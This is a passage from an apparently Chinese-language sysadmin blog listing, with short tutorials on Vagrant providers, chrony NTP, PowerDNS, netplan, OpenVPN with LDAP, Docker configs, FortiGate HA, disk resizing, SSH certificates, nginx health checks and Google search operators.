 override.ssh.private_key_path = "#{YOUR_AWS_PRIVATE_KEY_PATH}"
 override.vm.synced_folder "#{YOUR_SYNC_FOLDER}", "/vagrant", type: "rsync"
 override.vm.box = "dimroc/awsdummy"
 end

end

LOCAL_BOXS = {
 "ubuntu1404x64" => "ubuntu/trusty64",
 "ubuntu1210x64" => "chef/ubuntu-12.10"
}

AWS_AMIS = {
 "ubuntu1404x64" => "ami-864d84ee",
 "ubuntu1210x64" => "ami-02df496b",
 "windows2012r2x64" => "ami-9ade1df2",
 "windows2012x64" => "ami-5ce32034",
 "windows2008r2x64" => "ami-2ae02342",
 "windows2008x64" => "ami-5e24e936",
 "windows2003r2x64" => "ami-b0e320d8"
}

VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
 config.vm.box = "precise64_vmware"

 # vmware_fusion
 config.vm.provider "vmware_fusion" do |v, override|
 override.vm.box = "precise64_vmware"
 v.gui = false
 v.vmx["memsize"] = "1024"
 v.vmx["numvcpus"] = "2"
 end

 # vsphere
 config.vm.provider :vsphere do |vsphere|
 vsphere.vm.box = "nkhasanov/vsphere-simple"
 vsphere.host = '#{}'
 vsphere.compute_resource_name = '#{}'
 # vsphere.resource_pool_name = 'YOUR RESOURCE POOL'
 vsphere.insecure = true
 vsphere.template_name = 'qasus-tw-centos7x64-01'
 vsphere.name = "#{YOUR_NAME}-test-machine"
 vsphere.user = 'administrator'
 vsphere.password = '#{}'
 vsphere.vm_base_path = 'vmware_template'
 vsphere.linked_clone = true
 end

 # virtual box
 config.vm.provider "virtualbox" do |vb|
 vb.gui = false
 vb.memory = 1024
 vb.cpus = 2
 end

 # aws
 config.vm.provider :aws do |aws, override|
 # aws configurations
 aws.access_key_id = "#{YOUR_AWS_ACCESS_KEY_ID}"
 aws.secret_access_key = "#{YOUR_AWS_ACCESS_KEY}"
 aws.keypair_name = "#{YOUR_NAME}"
 aws.security_groups = "#{YOUR_NAME}"
 aws.instance_type = "t2.small"
 aws.region = "us-east-1"
 # ubuntu 14.04 x64
 aws.ami = "ami-864d84ee"

 # override info
 override.ssh.username = "ubuntu"
 override.ssh.private_key_path = "#{YOUR_AWS_PRIVATE_KEY_PATH}"
 override.vm.synced_folder "#{YOUR_SYNC_FOLDER}", "/vagrant", type: "rsync"
 override.vm.box = "dimroc/awsdummy"
 end

 # VMs
 (1..MAX_VM_NUMBER).each do |i|
 # define linux
 config.vm.define "l#{i}" do |node|
 # aws
 node.vm.provider :aws do |aws|
 aws.tags = {
 "Name" => "#{YOUR_NAME}-linux-#{i}"
 }
 end
 # local
 # node.vm.network "private_network", ip: "192.168.33.%d" % (i+2)
 node.vm.hostname = "ftan-linux-#{i}"
 end
 # define windows
 config.vm.define "w#{i}" do |node|
 node.vm.provider :aws do |aws|
 aws.ami = "ami-2ae02342"
 aws.tags = {
 "Name" => "#{YOUR_NAME}-windows-#{i}"
 }
 end
 end
 end

 # define customer
 YOUR_CUSTOMIZED_VM.each do |vm|
 config.vm.define "%s" % vm["name"] do |node|
 # aws
 node.vm.provider :aws do |aws|
 aws.ami = AWS_AMIS[vm["platform"]]
 aws.tags = {
 "Name" => "#{YOUR_NAME}-%s" % vm["name"]
 }
 end
 # vmware fusion
 # vmware workstation
 node.vm.provider :vmware_fusion do |fusion|
 fusion.vm.box = LOCAL_BOXS[vm["platform"]]
 fusion.vm.hostname = "#{YOUR_NAME}-%s" % vm["name"]
 end
 # vsphere
 # azure
 end
 end
end

如何設定時區與NTP服務在RHEL7/CentOS7

Tue, 29 Sep 2020 11:41:43 +0800

如何設定時區與 NTP 服務在 RHEL7/CentOS7

chrony 包含兩個程序，chronyd 是一個可以在啟動時啟動的守護進程，chronyc 是一個命令行界面程序，可用於監控 chronyd 的性能並在運行時更改各種運行參數。

注意 ntpd 和 chronyd 擇一就可，不要同時運作。

設定時區

~# timedatectl set-timezone Asia/Taipei
~# timedatectl
 Local time: Tue 2018-03-27 14:13:38 CST
 Universal time: Tue 2018-03-27 06:13:38 UTC
 RTC time: Tue 2018-03-27 06:13:40
 Time zone: Asia/Taipei (CST, +0800)
 NTP enabled: no
NTP synchronized: no
 RTC in local TZ: no
 DST active: n/a

設定 chronyd

# 安裝
~# yum install -y chrony

# 配置設定檔
~# cat /etc/chrony.conf
# Use public servers from the pool.ntp.org project.
# Please consider joining the pool (http://www.pool.ntp.org/join.html).
server 0.tw.pool.ntp.org iburst --->改成本地的伺服器
server 1.tw.pool.ntp.org iburst --->改成本地的伺服器
server 2.tw.pool.ntp.org iburst --->改成本地的伺服器
server 3.tw.pool.ntp.org iburst --->改成本地的伺服器

# 啟動服務和設為開機時啟動
~# systemctl enable chronyd
~# systemctl start chronyd

racking 參數顯示有關系統時間效能

~# chronyc tracking
Reference ID : 3DD8996B (61-216-153-107.hinet-ip.hinet.net) --->表示現在同步的時間伺服器，如果沒有id表示沒有同步
Stratum : 4 --->表示計算機有多少"跳hop" 表示本地的是第四層
Ref time (UTC) : Tue Mar 27 06:03:38 2018 --->最後一次測量的時間
System time : 0.000040356 seconds fast of NTP time --->調整系統時間
Last offset : +0.000163738 seconds
RMS offset : 0.000163738 seconds
Frequency : 21.384 ppm fast
Residual freq : +0.000 ppm
Skew : 675.319 ppm
Root delay : 0.008527911 seconds
Root dispersion : 0.066466033 seconds
Update interval : 2.0 seconds
Leap status : Normal --->Normal要顯示此值, Insert second, Delete second or Not synchronised.

~# chronyc sources -v
210 Number of sources = 4

 .-- Source mode '^' = server, '=' = peer, '#' = local clock.
 / .- Source state '*' = current synced, '+' = combined , '-' = not combined,
| / '?' = unreachable, 'x' = time may be in error, '~' = time too variable.
|| .- xxxx [ yyyy ] +/- zzzz
|| Reachability register (octal) -. | xxxx = adjusted offset,
|| Log2(Polling interval) --. | | yyyy = measured offset,
|| \  | | zzzz = estimated error.
|| | | \
MS Name/IP address Stratum Poll Reach LastRx Last sample
===============================================================================
^* 59-124-29-241.hinet-ip.h> 3 6 37 24 -1462us[-2363us] +/- 49ms
^+ 61-216-153-107.hinet-ip.> 3 6 37 23 -556us[ -556us] +/- 64ms
^? 59-125-122-217.hinet-ip.> 0 7 0 - +0ns[ +0ns] +/- 0ns
^- 61-216-153-105.hinet-ip.> 3 6 37 23 -280us[ -280us] +/- 64ms

看同步源頭的資訊

~# chronyc sourcestats -v
210 Number of sources = 4
 .- Number of sample points in measurement set.
 / .- Number of residual runs with same sign.
 | / .- Length of measurement set (time).
 | | / .- Est. clock freq error (ppm).
 | | | / .- Est. error in freq.
 | | | | / .- Est. offset.
 | | | | | | On the -.
 | | | | | | samples. \
 | | | | | | |
Name/IP Address NP NR Span Frequency Freq Skew Offset Std Dev
==============================================================================
59-124-29-241.hinet-ip.h> 6 5 135 -0.454 4.553 -784us 66us
61-216-153-107.hinet-ip.> 6 6 135 +4.455 19.761 +622us 247us
59-125-122-217.hinet-ip.> 0 0 0 +0.000 2000.000 +0ns 4000ms
61-216-153-105.hinet-ip.> 6 4 136 +8.965 42.440 +1250us 495us

將系統時間寫到硬體(主機板上的時間)上

~# hwclock --systohc
~# date ; hwclock
Tue Mar 27 14:07:57 CST 2018
Tue 27 Mar 2018 02:07:58 PM CST -0.938012 seconds

在 Ubuntu 22.04|20.04|18.04 安裝 PowerDNS 與 PowerDNS-Admin

Fri, 25 Sep 2020 09:38:17 +0800

安裝 PowerDNS

$ sudo apt update
$ sudo apt install mariadb-server -y

$ sudo mysql -u root

CREATE DATABASE powerdns;
GRANT ALL ON powerdns.* TO 'powerdns'@'localhost' IDENTIFIED BY 'Str0ngPasswOrd';
FLUSH PRIVILEGES;
USE powerdns;
CREATE TABLE domains (
 id INT AUTO_INCREMENT,
 name VARCHAR(255) NOT NULL,
 master VARCHAR(128) DEFAULT NULL,
 last_check INT DEFAULT NULL,
 type VARCHAR(6) NOT NULL,
 notified_serial INT UNSIGNED DEFAULT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' DEFAULT NULL,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE UNIQUE INDEX name_index ON domains(name);


CREATE TABLE records (
 id BIGINT AUTO_INCREMENT,
 domain_id INT DEFAULT NULL,
 name VARCHAR(255) DEFAULT NULL,
 type VARCHAR(10) DEFAULT NULL,
 content VARCHAR(64000) DEFAULT NULL,
 ttl INT DEFAULT NULL,
 prio INT DEFAULT NULL,
 change_date INT DEFAULT NULL,
 disabled TINYINT(1) DEFAULT 0,
 ordername VARCHAR(255) BINARY DEFAULT NULL,
 auth TINYINT(1) DEFAULT 1,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX nametype_index ON records(name,type);
CREATE INDEX domain_id ON records(domain_id);
CREATE INDEX ordername ON records (ordername);


CREATE TABLE supermasters (
 ip VARCHAR(64) NOT NULL,
 nameserver VARCHAR(255) NOT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' NOT NULL,
 PRIMARY KEY (ip, nameserver)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE TABLE comments (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 name VARCHAR(255) NOT NULL,
 type VARCHAR(10) NOT NULL,
 modified_at INT NOT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' DEFAULT NULL,
 comment TEXT CHARACTER SET 'utf8' NOT NULL,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX comments_name_type_idx ON comments (name, type);
CREATE INDEX comments_order_idx ON comments (domain_id, modified_at);


CREATE TABLE domainmetadata (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 kind VARCHAR(32),
 content TEXT,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX domainmetadata_idx ON domainmetadata (domain_id, kind);


CREATE TABLE cryptokeys (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 flags INT NOT NULL,
 active BOOL,
 content TEXT,
 PRIMARY KEY(id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX domainidindex ON cryptokeys(domain_id);


CREATE TABLE tsigkeys (
 id INT AUTO_INCREMENT,
 name VARCHAR(255),
 algorithm VARCHAR(50),
 secret VARCHAR(255),
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE UNIQUE INDEX namealgoindex ON tsigkeys(name, algorithm);

$ sudo systemctl disable systemd-resolved
$ sudo systemctl stop systemd-resolved

$ ls -lh /etc/resolv.conf
lrwxrwxrwx 1 root root 39 Jul 24 15:50 /etc/resolv.conf -> ../run/systemd/resolve/stub-resolv.conf
$ sudo unlink /etc/resolv.conf

$ echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf

新增 Ubuntu 22.04|20.04|18.04 的 PowerDNS 官方套件庫。

Ubuntu 18.04 透過 netplan 設定網路卡 IP

Fri, 18 Sep 2020 13:00:05 +0800

Ubuntu 18.04 透過 netplan 設定網路卡 IP

照上面的說明看了一下 /etc/netplan 目錄，查閱一下 /etc/netplan/50-cloud-init.yaml，如下：

# This file is generated from information provided by
# the datasource. Changes to it will not persist across an instance.
# To disable cloud-init's network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
 ethernets:
 ens192:
 dhcp4: true
 ens224:
 dhcp4: true
 version: 2

看來可以關閉 cloud network，但是我其實也沒有要用 cloud-init，乾脆移除它，如下：

sudo apt-get remove cloud-init

然後把 /etc/netplan/50-cloud-init.yaml 改成下面這樣：

# This file is generated from information provided by
# the datasource. Changes to it will not persist across an instance.
# To disable cloud-init's network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
 ethernets:
 ens192:
 addresses: [192.168.32.231/24]
 gateway4: 192.168.32.1
 nameservers:
 addresses: [8.8.8.8, 8.8.4.4]
 dhcp4: no
 ens224:
 dhcp4: true
 version: 2

這幾年 yaml 深得大眾的心，設定檔就是要用 yaml 格式才是潮，解說一下上述幾個設定：

openvpn部署之部署基於AD域認證

Thu, 17 Sep 2020 13:15:33 +0800

# 安裝openvpn
yum install openvpn -y
yum -y install openssl openssl-devel -y
yum -y install lzo lzo-devel -y
yum install -y libgcrypt libgpg-error libgcrypt-devel

# 安裝openvpn認證插件
yum install openvpn-auth-ldap -y

# 安裝easy-rsa
# 由於openvpn2.3之後，在openvpn裏面剔除了easy-rsa文件，所以需要單獨安裝
yum install easy-rsa
cp -rf /usr/share/easy-rsa/2.0 /etc/opevpn/

# 生成openvpn的key及證書
# 修改 `/opt/openvpn/etc/easy-rsa/2.0/vars` 參數
export KEY_COUNTRY="CN" # 國家
export KEY_PROVINCE="ZJ" # 省份
export KEY_CITY="NingBo" # 城市
export KEY_ORG="TEST-VPN" # 組織
exportKEY_EMAIL="81367070@qq.com" # 郵件
export KEY_OU="baidu" # 單位

source vars
./clean-all
./build-ca
./build-dh
./build-key-server server
./build-key client1


# 編輯openvpn服務端配置文件：`/etc/openvpn/server.conf`
port 1194
proto udp
dev tun
ca keys/ca.crt
cert keys/server.crt
key keys/server.key # This file should be kept secret
dh keys/dh2048.pem
server 10.8.0.0 255.255.255.0 //客戶端分配的ip地址
push "route 192.168.1.0 255.255.255.0" //推送客戶端的路由
push "redirect-gateway" //修改客戶端的網關，使其直接走vpn流量
ifconfig-pool-persist ipp.txt
keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
verb 3
plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-ldap.so "/etc/openvpn/auth/ldap.conf"
client-cert-not-required
username-as-common-name
log /var/log/openvpn.log


# 修改openvpn-ldap-auth的配置文件 `/etc/openvpn/auth/ldap.conf`
# /etc/openvpn/auth/ldap.conf

<LDAP>
 # LDAP server URL
 # 更改爲 AD 服務器的 IP
 URL ldap://172.16.76.238:389

 # Bind DN (If your LDAP server doesn't support anonymous binds)
 # BindDN uid=Manager,ou=People,dc=example,dc=com
 # 更改爲域管理的 DN, 可以通過 ldapsearch 進行查詢
 # -h 的 ip 替換爲服務器 ip，-D 換爲管理員的 dn，-b 爲基礎的查詢 dn，* 爲所有
 # ldapsearch -LLL -x -h 172.16.76.238 -D "administrator@xx.com" -W -b "dc=xx,dc=com" "*"
 BindDN "cn=administrator,cn=Users,dc=xx,dc=com"

 # Bind Password
 # Password SecretPassword
 # 域管理員的密碼
 Password passwd

 # Network timeout (in seconds)
 Timeout 15

 # Enable Start TLS
 TLSEnable no

 # Follow LDAP Referrals (anonymously)
 FollowReferrals no

 # TLS CA Certificate File
 # TLSCACertFile /usr/local/etc/ssl/ca.pem

 # TLS CA Certificate Directory
 # TLSCACertDir /etc/ssl/certs

 # Client Certificate and key
 # If TLS client authentication is required
 # TLSCertFile /usr/local/etc/ssl/client-cert.pem
 # TLSKeyFile /usr/local/etc/ssl/client-key.pem

 # Cipher Suite
 # The defaults are usually fine here
 # TLSCipherSuite ALL:!ADH:@STRENGTH
</LDAP>

<Authorization>
 # Base DN
 # 查詢認證的基礎 dn
 BaseDN "dc=boqii-inc,dc=com"

 # User Search Filter
 # SearchFilter "(&(uid=%u)(accountStatus=active))"
 # 其中 sAMAccountName=%u 的意思是把 sAMAccountName 的字段取值爲用戶名，
 # 後面 "memberof=CN=myvpn,DC=xx,DC=com" 指向要認證的 vpn 用戶組，
 # 這樣任何用戶使用 vpn，只要加入這個組就好了
 SearchFilter "(&(sAMAccountName=%u)(memberof=CN=myvpn,DC=boqii-inc,DC=com))"

 # Require Group Membership
 RequireGroup false

 # Add non-group members to a PF table (disabled)
 # PFTable ips_vpn_users

 <Group>
 # BaseDN "ou=Groups,dc=example,dc=com"
 # SearchFilter "(|(cn=developers)(cn=artists))"
 # MemberAttribute uniqueMember
 # Add group members to a PF table (disabled)
 # PFTable ips_vpn_eng

 BaseDN "ou=vpn,dc=boqii-inc,dc=com"
 SearchFilter "(cn=openvpn)"
 MemberAttribute "member"
 </Group>
</Authorization>

拷貝/etc/openvpn/key目錄下的ca.crt證書，以備客戶端使用。

Docker 小技巧：使用 Docker Config

Mon, 14 Sep 2020 11:13:23 +0800

Docker 小技巧：使用 Docker Config

FROM nginx:1.13.6
COPY nginx.conf /etc/nginx/nginx.conf

使用 Docker CLI，可以從這個設定檔建立一個 config，並將它命名為 proxy。

$ docker config create proxy nginx.conf
mdcfnxud53ve6jgcgjkhflg0s

$ docker config inspect proxy
[
 {
 "ID": "x06uaozphg9kbnf8g4az4mucn",
 "Version": {
 "Index": 2723
 },
 "CreatedAt": "2017-11-21T07:49:09.553666064Z",
 "UpdatedAt": "2017-11-21T07:49:09.553666064Z",
 "Spec": {
 "Name": "proxy",
 "Labels": {},
 "Data": "dXNlciB3d3ctZGF0YTsKd29y...ogIgICAgIH0KICAgIH0KfQo="
 }
 }
]

使用 Config

$ docker network create --driver overlay front
$ docker service create --name api --network front lucj/api
$ docker service create --name proxy \
 --network front \
 --config src=proxy,target=/etc/nginx/nginx.conf \
 --port 8000:8000 \
 nginx:1.13.6

服務更新

當設定內容需要修改時，常見做法是建立新的 config（使用 docker config create），然後更新服務以移除舊的 config 並加上新的 config。對應的服務指令是 --config-rm 與 --config-add。

Fortigate 在 HA 模式下的管理介面

Tue, 08 Sep 2020 09:47:47 +0800

Fortigate 在 HA 模式下的管理介面

先啟用此功能

config system ha
set ha-mgmt-status enable
config ha-mgmt-interfaces
edit 1
set interface wan2
set gateway 192.168.147.254
next
end
end

別忘了設定預設閘道。這個介面是隔離的，需要獨立的路由設定。

接著為叢集中的每個節點設定獨立 IP

System1

config system interface
edit wan2
set ip 10.11.101.101/24
set allowaccess https ping ssh snmp
next
end

System2

config system interface
edit wan2
set ip 10.11.101.102/24
set allowaccess https ping ssh snmp
next
end

FortiOS 5.6 起新增

從 FortiOS 5.6 開始，有一種新的方式可以直接存取每台設備。這是 In-Band 的方法，不需要保留介面。

在任意介面設定管理用 IP 位址。這個位址不會在叢集中同步。

System1

使用 Vagrant 自動調整 VirtualBox 磁碟大小

Tue, 25 Aug 2020 09:40:34 +0800

Vagrant.configure(2) do |config|
config.vm.box = "centos/7"
config.disksize.size = '20GB'
end

$ sudo parted /dev/sda resizepart 2 100%

$ sudo lvextend -l +100%FREE /dev/centos/root

$ sudo xfs_growfs /dev/centos/root

自動化部分

Vagrant.configure(2) do |config|
common = <<-SCRIPT
sudo parted /dev/sda resizepart 2 100%
sudo pvresize /dev/sda2
sudo lvextend -l +100%FREE /dev/centos/root
sudo xfs_growfs /dev/centos/root
SCRIPT
config.vm.define "node01" do |node1|
node1.vm.hostname = "node01"
node1.vm.network "private_network", ip: "192.168.56.121"
config.vm.provision :shell, :inline => common
end
end

vagrant plugin install vagrant-disksize

Vagrantfile

# Fail if the vagrant-disksize plugin is not installed
unless Vagrant.has_plugin?("vagrant-disksize")
 raise 'vagrant-disksize is not installed!'
end
Vagrant.configure("2") do |config|
 config.vm.provider "virtualbox" do |vb|
 vb.name = "DISKEXTEND"
 vb.memory = 2048
 vb.cpus = 2
 end
 config.vm.define :"DISKEXTEND" do |t|
 end
 config.vm.hostname = "DISKEXTEND"
 config.vm.box = "bento/ubuntu-18.04"
 # Increase the default disk size of the bento image (64GB) to 96GB
 config.disksize.size = "96GB"
 # Run a script on provisioning the box to format the file system
 config.vm.provision "shell", path: "disk-extend.sh"
end

佈署腳本：disk-extend.sh

#!/bin/bash
echo "> Installing required tools for file system management"
if [ -n "$(command -v yum)" ]; then
 echo ">> Detected yum-based Linux"
 sudo yum makecache
 sudo yum install -y util-linux
 sudo yum install -y lvm2
 sudo yum install -y e2fsprogs
fi
if [ -n "$(command -v apt-get)" ]; then
 echo ">> Detected apt-based Linux"
 sudo apt-get update -y
 sudo apt-get install -y fdisk
 sudo apt-get install -y lvm2
 sudo apt-get install -y e2fsprogs
fi
ROOT_DISK_DEVICE="/dev/sda"
ROOT_DISK_DEVICE_PART="/dev/sda1"
LV_PATH=`sudo lvdisplay -c | sed -n 1p | awk -F ":" '{print $1;}'`
FS_PATH=`df / | sed -n 2p | awk '{print $1;}'`
ROOT_FS_SIZE=`df -h / | sed -n 2p | awk '{print $2;}'`
echo "The root file system (/) has a size of $ROOT_FS_SIZE"
echo "> Increasing disk size of $ROOT_DISK_DEVICE to available maximum"
sudo fdisk $ROOT_DISK_DEVICE <<EOF
d
n
p
1
2048
no
w
EOF
sudo pvresize $ROOT_DISK_DEVICE_PART
sudo lvextend -l +100%FREE $LV_PATH
sudo resize2fs -p $FS_PATH
ROOT_FS_SIZE=`df -h / | sed -n 2p | awk '{print $2;}'`
echo "The root file system (/) has a size of $ROOT_FS_SIZE"
exit 0

gitbook常用的插件

Tue, 18 Aug 2020 09:48:41 +0800

gitbook 常用的插件

Google 搜尋運算子：完整清單（44 個進階運算子）

Fri, 14 Aug 2020 14:21:06 +0800

Google Search Operators: The Complete List (44 Advanced Operators)

可用

搜尋運算子	用途	範例
`" "`	搜尋包含特定字詞或片語的結果。	`"steve jobs"`
`OR`	搜尋與 X 或 Y 相關的結果。	`jobs OR gates`
`\|`	與 `OR` 相同。	`jobs \| gates`
`AND`	搜尋與 X 與 Y 相關的結果。	`jobs AND gates`
`-`	排除包含特定字詞或片語的結果。	`jobs -apple`
`*`	萬用字元，可匹配任何字詞或片語。	`steve * apple`
`( )`	將多個搜尋條件分組。	`(ipad OR iphone) apple`
`define:`	查詢字詞或片語的定義。	`define:entrepreneur`
`cache:`	查看網頁的最新快取版本。	`cache:apple.com`
`filetype:`	搜尋特定檔案類型（例如 PDF）。	`apple filetype:pdf`
`ext:`	與 `filetype:` 相同。	`apple ext:pdf`
`site:`	只搜尋特定網站的結果。	`site:apple.com`
`related:`	搜尋與指定網域相關的網站。	`related:apple.com`
`intitle:`	搜尋標題包含特定字詞的頁面。	`intitle:apple`
`allintitle:`	搜尋標題包含多個字詞的頁面。	`allintitle:apple iphone`
`inurl:`	搜尋 URL 中包含特定字詞的頁面。	`inurl:apple`
`allinurl:`	搜尋 URL 中包含多個字詞的頁面。	`allinurl:apple iphone`
`intext:`	搜尋內容包含特定字詞的頁面。	`intext:apple iphone`
`allintext:`	搜尋內容包含多個字詞的頁面。	`allintext:apple iphone`
`weather:`	查詢某個地點的天氣。	`weather:san francisco`
`stocks:`	查詢股票代碼的股價資訊。	`stocks:aapl`
`map:`	強制顯示地圖結果。	`map:silicon valley`
`movie:`	搜尋電影資訊。	`movie:steve jobs`
`in`	單位換算。	`$329 in GBP`
`source:`	在 Google 新聞中搜尋特定來源的結果。	`apple source:the_verge`
`before:`	搜尋特定日期之前的結果。	`apple before:2007-06-29`
`after:`	搜尋特定日期之後的結果。	`apple after:2007-06-29`

不穩定

搜尋運算子	用途	範例
`#..#`	搜尋數字範圍內的結果。	`iphone case $50..$60`
`inanchor:`	搜尋反向連結錨點文字包含特定字詞的頁面。	`inanchor:apple`
`allinanchor:`	搜尋反向連結錨點文字包含多個字詞的頁面。	`allinanchor:apple iphone`
`AROUND(X)`	搜尋兩個字詞或片語在彼此 X 個字以內的頁面。	`apple AROUND(4) iphone`
`loc:`	搜尋指定地區的結果。	`loc:"san francisco" apple`
`location:`	在 Google 新聞中搜尋特定地點的新聞。	`location:"san francisco" apple`
`daterange:`	搜尋特定日期範圍的結果。	`daterange:11278-13278`

不可用（Google 已正式移除）

搜尋運算子	用途	範例
`~`	包含同義詞（2013 已移除）。	`~apple`
`+`	搜尋包含精確字詞或片語的結果（2011 已移除）。	`jobs +apple`
`inpostauthor:`	在 Google Blog Search 中搜尋特定作者的文章（已停止）。	`inpostauthor:"steve jobs"`
`allinpostauthor:`	與 `inpostauthor:` 相同，但不需要加引號。	`allinpostauthor:steve jobs`
`inposttitle:`	在已停用的 Google Blog Search 中搜尋標題包含特定字詞的文章。	`inposttitle:apple iphone`
`link:`	搜尋連到特定網域或 URL 的頁面（2017 已移除）。	`link:apple.com`
`info:`	查詢特定頁面或網站的資訊（2017 已移除）。	`info:apple.com`
`id:`	與 `info:` 相同。	`id:apple.com`
`phonebook:`	搜尋某人的電話號碼（2010 已移除）。	`phonebook:tim cook`
`#`	在 Google+ 上搜尋主題標籤（2019 已移除）。	`#apple`

确定虚拟化技术的简便方法

Wed, 29 Jul 2020 21:11:45 +0800

确定虚拟化技术的简便方法

`dmidecode -s system-product-name`

虚拟化技术

VMware 工作站

root@router:~# dmidecode -s system-product-name
VMware Virtual Platform

虚拟盒子

root@router:~# dmidecode -s system-product-name
VirtualBox

Qemu 与 KVM

root@router:~# dmidecode -s system-product-name
KVM

Qemu（模拟）

root@router:~# dmidecode -s system-product-name
Bochs

Microsoft 虚拟 PC

root@router:~# dmidecode | egrep -i 'manufacturer|product'
Manufacturer: Microsoft Corporation
Product Name: Virtual Machine

维尔图佐

root@router:~# dmidecode
/dev/mem: Permission denied

en

root@router:~# dmidecode | grep -i domU
Product Name: HVM domU

`/dev/disk/by-id`

如果您没有 dmidecode 运行权，则可以使用： ls -1 /dev/disk/by-id/

[分享]鑰匙圈 - 五七步槍刺刀鞘的墬子

Fri, 10 Jul 2020 12:32:27 +0800

[分享]鑰匙圈 - 五七步槍刺刀鞘的墬子

SSH 证书登录教程

Wed, 08 Jul 2020 13:39:48 +0800

SSH 证书登录教程

证书登录的流程

SSH 证书登录之前，如果还没有证书，需要生成证书。具体方法是：

用户和服务器都将自己的公钥，发给 CA
CA 使用服务器公钥，生成服务器证书，发给服务器
CA 使用用户的公钥，生成用户证书，发给用户。

有了证书以后，用户就可以登录服务器了。整个过程都是 SSH 自动处理，用户无感知。

用户登录服务器时，SSH 自动将用户证书发给服务器。
服务器检查用户证书是否有效，以及是否由可信的 CA 颁发。
SSH 自动将服务器证书发给用户。
用户检查服务器证书是否有效，以及是否由信任的 CA 颁发。
双方建立连接，服务器允许用户登录。

生成 CA 的密钥

虽然 CA 可以用同一对密码签发用户证书和服务器证书，但是出于安全性和灵活性，最好用不同的密钥分别签发。所以，CA 至少需要两对密钥，一对是签发用户证书的密钥，假设叫做 user_ca，另一对是签发服务器证书的密钥，假设叫做 host_ca。

# 生成 CA 签发用户证书的密钥
# 会在~/.ssh目录生成一对密钥：user_ca（私钥）和user_ca.pub（公钥）
# 各个参数含义如下
# -t rsa：指定密钥算法 RSA。
# -b 4096：指定密钥的位数是4096位。安全性要求不高的场合，这个值可以小一点，但是不应小于1024。
# -f ~/.ssh/user_ca：指定生成密钥的位置和文件名。
# -C user_ca：指定密钥的识别字符串，相当于注释，可以随意设置。
$ ssh-keygen -t rsa -b 4096 -f ~/.ssh/user_ca -C user_ca


# 生成 CA 签发服务器证书的密钥
# 会在~/.ssh目录生成一对密钥：host_ca（私钥）和host_ca.pub（公钥）
# 现在，~/.ssh目录应该至少有四把密钥。
# - ~/.ssh/user_ca
# - ~/.ssh/user_ca.pub
# - ~/.ssh/host_ca
# - ~/.ssh/host_ca.pub
$ ssh-keygen -t rsa -b 4096 -f host_ca -C host_ca

服务器安装 CA 公钥

# 为了让服务器信任用户证书，必须将 CA 签发用户证书的公钥`user_ca.pub`，拷贝到服务器
$ scp ~/.ssh/user_ca.pub root@host.example.com:/etc/ssh/

然后，将下面一行添加到服务器配置文件 `/etc/ssh/sshd_config`

TrustedUserCAKeys /etc/ssh/user_ca.pub

上面的做法是将user_ca.pub加到/etc/ssh/sshd_config，这会产生全局效果，即服务器的所有账户都会信任user_ca签发的所有用户证书。

如何使用 Chrome 開發人員工具擷取網頁畫面與製作長截圖？

Thu, 02 Jul 2020 09:07:34 +0800

如何使用 Chrome 開發人員工具擷取網頁畫面與製作長截圖？

開啟 Chrome 開發人員工具
按下右上角的 more_vert，並選擇 filter_none 將它改成獨立視窗
Ctrl + Shift + P(Command + Shift + P)
輸入 screenshot
1. Capture area screenshot：區域擷圖，選擇後你的滑鼠指標會變成 add，用它在網頁中框選出一個範圍即可擷圖。
2. Capture full size screenshot：長截圖，延遲一秒左右後將會自動完成擷圖，就是這麼簡單。
3. Capture node screenshot：節點擷圖，它類似長擷圖，但只有螢幕有顯示到的地方有影像，其餘都是空白。在文章後段我們會放預覽圖讓你比較一下差異。
4. Capture screenshot：普通擷圖，會自動擷取視窗看得到的網頁。如果剛剛沒有讓開發者工具變成獨立視窗的話，這邊的擷圖結果就會被影響。

BIRD 与 BGP 的新手开场

Mon, 22 Jun 2020 09:38:55 +0800

Git内部原理介绍

Tue, 02 Jun 2020 08:39:08 +0800

Git 内部原理介绍

Python玩转各种多媒体，视频、音频到图片

Sun, 31 May 2020 17:48:10 +0800

Python 玩转各种多媒体，视频、音频到图片

nginx 添加第三方nginx_upstream_check_module 模块实现健康状态检测

Sun, 26 Apr 2020 20:05:37 +0800

nginx.conf

 http {
 upstream cluster {
 # simple round-robin
 server 192.168.0.1:80;
 server 192.168.0.2:80;

 check interval=5000 rise=1 fall=3 timeout=4000;
 #check interval=3000 rise=2 fall=5 timeout=1000 type=ssl_hello;
 #check interval=3000 rise=2 fall=5 timeout=1000 type=http;
 #check_http_send "HEAD / HTTP/1.0\r\n\r\n";
 #check_http_expect_alive http_2xx http_3xx;
 }
...

 check
 syntax: *check interval=milliseconds [fall=count] [rise=count]
 [timeout=milliseconds] [default_down=true|false]
 [type=tcp|http|ssl_hello|mysql|ajp|fastcgi]*

 默认配置：interval=3000 fall=5 rise=2 timeout=1000 default_down=true type=tcp*
...

interval：检测间隔 3 秒
fall: 连续检测失败次数 5 次时，认定 relaserver is down
rise: 连续检测成功 2 次时，认定 relaserver is up
timeout: 超时 1 秒
default_down: 初始状态为 down,只有检测通过后才为 up
type: 检测类型方式 tcp
1. tcp :tcp 套接字,不建议使用，后端业务未 100%启动完成,前端已经放开访问的情况
